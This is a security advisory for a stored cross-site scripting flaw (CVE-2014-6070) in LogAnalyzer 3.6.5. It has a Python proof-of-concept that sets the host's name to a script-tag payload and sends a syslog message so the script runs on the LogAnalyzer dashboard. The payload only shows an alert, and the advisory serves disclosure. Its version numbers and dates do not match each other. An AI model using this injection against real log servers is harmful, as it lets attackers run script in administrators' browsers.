Syslog LogAnalyzer 3.6.5 - Persistent Cross-Site Scripting (Python)







Vulnerability title: Syslog LogAnalyzer 3.6.5 Stored XSS
Author: Dolev Farhi
Contact: dolevf at yahoo dot com  @dolevff
Application: LogAnalyzer 3.6.5
Date: 8.2.2014
Relevant CVEs: CVE-2014-6070
Vulnerable version: <= 3.6.5
Fixed version: 3.6.6

1. About the application
LogAnalyzer is a web interface to syslog and other network event data. 
It provides easy browsing, analysis of realtime network events and 
reporting services.

2. Vulnerabilities Descriptions:
It was found that an XSS injection is possible on a syslog server 
running LogAnalyzer version 3.6.5.
by changing the hostname of any entity logging to syslog server with 
LogAnalyzer to <script>alert("xss")</script>, and sending an arbitrary
syslog message, a client-side script injection execution is possible.

4. proof of concept exploit
# Exploit title = LogAnalyzer 3.5.6 Stored XSS injection
# Date: Sept 2014
# CVE: 2014-6070
# Tested on RHEL6.4

import os
import syslog

hostname = os.uname()[1]
payload = "\"<script>alert('XSS');</script>\""

print("+ Setting temporary hostname to " + payload + "...")
os.system("hostname " +  payload)

print("+ Injecting the syslog message...")
syslog.syslog("syslog xss injection")

print("+ Check LogAnalyzer dashboard...")

raw_input("+ Press [enter] to restore hostname...")
os.system("hostname " + "\""  +  hostname + "\"")

print("+ Hostname restored to " + hostname)